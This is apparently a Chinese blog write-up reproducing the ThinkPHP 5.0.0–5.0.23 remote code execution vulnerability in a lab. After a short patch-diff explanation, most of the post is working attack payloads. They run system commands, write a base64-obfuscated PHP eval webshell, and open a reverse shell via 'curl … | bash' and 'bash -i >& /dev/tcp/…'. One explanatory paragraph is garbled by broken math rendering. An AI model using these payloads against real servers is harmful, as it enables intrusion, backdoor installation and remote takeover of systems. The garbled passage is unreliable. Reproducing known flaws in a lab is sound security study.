ThinkPHP5 5.0.23 远程代码执行漏洞复现-分析

漏洞简述

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

关键代码

@@ -522,8 +522,11 @@ public function method($method = false)
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
     
            if (isset($_POST[Config::get('var_method')])) {
     
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{
     $this->method}($_POST);
                $method = strtoupper($_POST[Config::get('var_method')]);
                if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
     
                    $this->method = $method;
                    $this->{
     $this->method}($_POST);
                }
            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
     
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
            } else {
     

调用KaTeX parse error: Expected '}', got 'EOF' at end of input: this->{ this->method}( P O S T ) ; 语 句 , 此 时 假 设 我 们 控 制 了 _POST);语句,此时假设我们控制了 POST);method的值,也就意味着可以调用Request类的任意方法,而当调用构造方法__construct()时,就可以覆盖Request类的任意成员变量,可以覆盖 t h i s − > m e t h o d , 直 接 指 定 了 c h e c k ( ) 方 法 中 的 this->method,直接指定了check()方法中的 this>methodcheck()method值。

影响范围

ThinkPHP 5.0.0~5.0.23

复现过程

启动靶机
http://192.168.1.7:8080
ThinkPHP5 5.0.23 远程代码执行漏洞复现-分析_第1张图片

测试payload-1(命令执行)

http://192.168.1.7:8080/index.php?s=captcha(POST)_method=__construct&filter[]=system&method=get&get[]=whoami

测试payload-2(命令执行)

http://192.168.1.7:8080/index.php?s=captcha(POST)_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

ThinkPHP5 5.0.23 远程代码执行漏洞复现-分析_第2张图片
ThinkPHP5 5.0.23 远程代码执行漏洞复现-分析_第3张图片

测试payload-3(写入webshell)

先查看当前目录

http://192.168.1.7:8080/index.php?s=captcha(POST)_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

ThinkPHP5 5.0.23 远程代码执行漏洞复现-分析_第4张图片写入shell.php(无法成功写入,被拦截)

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo <?php @eval($_POST['root009']); ?>  >>/var/www/public/shell.php

ThinkPHP5 5.0.23 远程代码执行漏洞复现-分析_第5张图片
base64编码绕过
aaabbb

YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3Jvb3QwMDknXSk7Pz5iYmI=

base编码绕过,写webshell,成功写入

http://192.168.1.7:8080/index.php?s=captcha(POST)_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3Jvb3QwMDknXSk7Pz5iYmI=  | base64 -d  >>/var/www/public/shell.php

ThinkPHP5 5.0.23 远程代码执行漏洞复现-分析_第6张图片ThinkPHP5 5.0.23 远程代码执行漏洞复现-分析_第7张图片
使用蚁剑进行连接,选择base64编码、chr编码

ThinkPHP5 5.0.23 远程代码执行漏洞复现-分析_第8张图片ThinkPHP5 5.0.23 远程代码执行漏洞复现-分析_第9张图片

测试payload4-反弹shell

本机192.168.1.4:80开启http服务,同时目录下建立shell.sh文件

bash -i >& /dev/tcp/192.168.1.4/1111 0>&1

ThinkPHP5 5.0.23 远程代码执行漏洞复现-分析_第10张图片
192.168.1.4主机监听1111端口
ThinkPHP5 5.0.23 远程代码执行漏洞复现-分析_第11张图片
执行payload,反弹shell成功

http://192.168.1.7:8080/index.php?s=captcha(POST)_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl 192.168.1.4/shell.sh | bash

ThinkPHP5 5.0.23 远程代码执行漏洞复现-分析_第12张图片此处仅为普通权限,像ifconfig等需要sudo权限的命令无法执行
在这里插入图片描述

你可能感兴趣的:(漏洞复现,安全)